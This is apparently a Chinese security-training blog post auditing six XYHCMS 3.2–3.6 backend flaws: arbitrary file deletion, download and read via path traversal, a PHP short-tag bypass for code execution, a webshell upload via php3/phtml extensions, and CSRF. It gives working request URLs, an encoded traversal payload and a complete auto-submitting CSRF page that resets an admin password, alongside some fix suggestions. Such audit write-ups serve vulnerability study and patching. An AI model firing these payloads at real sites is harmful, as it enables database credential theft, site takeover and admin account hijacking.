文库|XYHCMS漏洞

  • A+
所属分类:代码审计

高质量的安全文章,安全offer面试经验分享

尽在 # 掌控安全EDU #



作者:掌控安全-柚子

一.XYHCMS 3.2 后台任意文件删除

漏洞介绍

影响版本是XYHCMS 3.2,漏洞的成因是没有对删除的文件没有做任何限制,导致可以直接把安装文件删除。


漏洞分析


打开

/App/Manage/Controller/DatabaseController.class.php

文件。


锁定 delSqlFiles()函数。


文库|XYHCMS漏洞

漏洞复现


1.进入后台


文库|XYHCMS漏洞


2.删除安装锁文件


方法一:get方式


http://127.0.0.1/xyhcms_3.5_20171128/uploads_code/xyhai.php?s=/Database/delSq

lFiles/sqlfilename/..\..\..\install/install.lock


方法二:post方式


http://127.0.0.1/xyhcms_3.5_20171128/uploads_code/xyhai.php?s=/Database/delSqlFiles /batchFlag/1
POST数据:key[]= ../../../install/install.lock


文库|XYHCMS漏洞

3.接下来直接访问 

http://127.0.0.1/xyhcms_3.5_20171128/uploads_code/install 重装cms

文库|XYHCMS漏洞

二.XYHCMS 3.2 后台任意文件下载



漏洞介绍


影响版本是XYHCMS 3.2,漏洞的成因是没有对下载的文件做任何限制。


漏洞分析

找到

/App/Manage/Controller/DatabaseController.class.php文件。


锁定downfile()方法下载函数。


文库|XYHCMS漏洞
这里并没有对下载的文件有限制,所以我们可以通过这段代码去构造poc。

漏洞复现


1.进入后台页面。


文库|XYHCMS漏洞


2.构造poc

http://127.0.0.1/xyhcms_3.5_20171128/uploads_code/xyhai.php?s=/Database/downFile/file/..\..\..\App\Common\Conf\db.php/type/zip

文库|XYHCMS漏洞

3.数据库配置文件就下载下来了。

三.XYHCMS 3.5任意文件读取漏洞



环境准备


XYHCMS官网http://www.xyhcms.com/

网站源码版本:XYHCMS V3.5(2017-12-04 更新)

程序源码下载http://www.xyhcms.com/Show/download/id/2/at/0.html

文库|XYHCMS漏洞

漏洞分析


漏洞文件位置:/App/Manage/Controller/TempletsController.class.php

第59-83行:


文库|XYHCMS漏洞
声明了3个变量:

$ftype 文件类型;

$fname 文件名;

$file_path 文件路径

这段代码对提交的参数进行处理,然后判断是否POST数据上来

如果有就进行保存等,如果没有POST数据,将跳过这段代码继续向下执行。

文库|XYHCMS漏洞


通过这段代码,我们发现可以通过GET传入fname,跳过前面的保存文件过程,进入文件读取状态。


问题就出现在这里,对fname进行base64解码,判断fname参数是否为空,拼接成完整的文件路径,然后判断这个文件是否存在,读取文件内容。


对fname未进行任何限制,导致程序在实现上存在任意文件读取漏洞,可以读取网站任意文件,攻击者可利用该漏洞获取敏感信息。


我们可以通过GET方式提交fname参数,并且将fname进行base64编码,构造成完整的路径,读取配置文件信息。


漏洞复现


登录网站后台


数据库配置文件路径
AppCommonConfdb.php



文库|XYHCMS漏洞

我们将这段组成相对路径,......AppCommonConfdb.php

然后进行base64编码,

Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==

[POC]最后构造的链接如下:

http://127.0.0.1/XYHCms_V3.5/uploads_code/xyhai.php?s=/Templets/edit/fname/Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==


文库|XYHCMS漏洞

修复建议


  1. 取消base64解码,过滤.(点)等可能的恶意字符。

  2. 正则判断用户输入的参数的格式,看输入的格式是否合法:这个方法的匹配最为准确和细致,但是有很大难度,需要大量时间配置。


四.xyhcms 3.6 后台代码执行漏洞



漏洞描述


XYHCMS是一款开源的CMS内容管理系统。


XYHCMS后台存在代码执行漏洞,攻击者可利用该漏洞在site.php中增加恶意代码,从而可以获取目标终端的权限。


代码中使用黑名单过滤<?php 却忘记过滤短标签,导致后台系统设置-网站设置处可使用短标签在站点表述处getshell。


漏洞分析


按步骤安装好网站之后,找到../App/Runtime/Data/config/site.php 这个文件。

文库|XYHCMS漏洞


找到对应功能看他是怎么控制的。


文库|XYHCMS漏洞

文库|XYHCMS漏洞


很明显,我们要去找一个System相关的控制器。


这里可以锁定
App/Manage/Controller/SystemController.class.php 这个文件。


文库|XYHCMS漏洞

if (stripos($data[$key], '<?php') !== false || preg_match($preg_param, $data[$key])) {                    $this->error('禁止输入php代码');                }

这里就是可以直接写入到php文件 ,而且我们可以看到他使用了黑名单禁止<?php写入


但是我们看到这里让开启了短标签,
(PHP默认是开启PHP短标签的,即默认情况下short_open_tag=ON)<?=,它和 <? echo 等价, 从 PHP 5.4.0 起, <?= 总是可用的


漏洞复现


找到后台—系统设置—网站设置


文库|XYHCMS漏洞

<?=phpinfo();?>


就可以很简单的绕过限制。


文库|XYHCMS漏洞

修复方法


官方已经在最新版修复,简单粗暴的过滤

if (stripos($data[$key], '<?php') !== false || ($short_open_tag && stripos($data[$key], '<?') !== false) || preg_match($preg_param, $data[$key])) {    $this->error('禁止输入php代码');                }



即当开启短标签时过滤<?,使得我们的php写入失效。


五.XYHCMS 3.6 后台文件上传getshell



漏洞介绍


此漏洞的影响范围是XYHCMS 3.6


漏洞形成原因是:对后缀过滤不严,未过滤php3-5,phtml(老版本直接未过滤php)。


漏洞分析


找到

/App/Manage/Controller/SystemController.class.php246-255行代码

if (!empty($data['CFG_UPLOAD_FILE_EXT'])) {                $data['CFG_UPLOAD_FILE_EXT'] = strtolower($data['CFG_UPLOAD_FILE_EXT']);                $_file_exts = explode(',', $data['CFG_UPLOAD_FILE_EXT']);                $_no_exts = array('php', 'asp', 'aspx', 'jsp');                foreach ($_file_exts as $ext) {                    if (in_array($ext, $_no_exts)) {                        $this->error('允许附件类型错误!不允许后缀为:php,asp,aspx,jsp!');                    }                }            }

文库|XYHCMS漏洞
会看到她不允许的文件后缀有:php,asp,aspx,jsp。

我们可以通过这个思路,上传php3-5,phtml文件后缀的文件就能够绕过限制。

漏洞复现


1.进入后台


2.系统设置->网站设置->上传配置->允许附件类型


3.添加类型 php3或 php4或 php5 或 phtml


文库|XYHCMS漏洞

4.点击下面的 水印图片上传上传以上后缀shell


5.之后会在图片部分显示上传路径

文库|XYHCMS漏洞

六.XYHCMS 3.6 CSRF 漏洞



漏洞介绍


此版本存在一个csrf漏洞,可以更改管理员的任何信息(姓名、电子邮件、密码等)。


漏洞复现

poc:

<html>  <head>      <script>          function submit(){            var form = document.getElementById('test_form');            form.submit();
}</script> </head> <body onload="submit()">

<script>history.pushState('', '', '/')</script> <form action="http://xyh.com/xyhai.php?s=/Auth/editUser" method="POST" id="test_form"> <input type="hidden" name="id" value="3" /> <input type="hidden" name="username" value="test" /> <input type="hidden" name="password" value="qweqwe" /> <input type="hidden" name="department&#91;&#93;" value="1" /> <input type="hidden" name="department&#91;&#93;" value="4" /> <input type="hidden" name="department&#91;&#93;" value="3" /> <input type="hidden" name="group&#95;id&#91;&#93;" value="1" /> <input type="hidden" name="realname" value="13" /> <input type="hidden" name="email" value="aa&#64;test&#46;com" /> <input type="hidden" name="is&#95;lock" value="0" /> </form> </body></html>


1.修改前如下图所示:


文库|XYHCMS漏洞
2.打开 poc.html


3.修改后如下图所示:


文库|XYHCMS漏洞


回顾往期内容

Xray挂机刷漏洞

POC批量验证Python脚本编写

实战纪实 | SQL漏洞实战挖掘技巧

渗透工具 | 红队常用的那些工具分享

代码审计 | 这个CNVD证书拿的有点轻松

    代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!

文库|XYHCMS漏洞


扫码白嫖视频+工具+进群+靶场等资料


文库|XYHCMS漏洞

 


文库|XYHCMS漏洞

 扫码白嫖


 还有免费的配套靶场交流群哦!



本文始发于微信公众号(掌控安全EDU):文库|XYHCMS漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: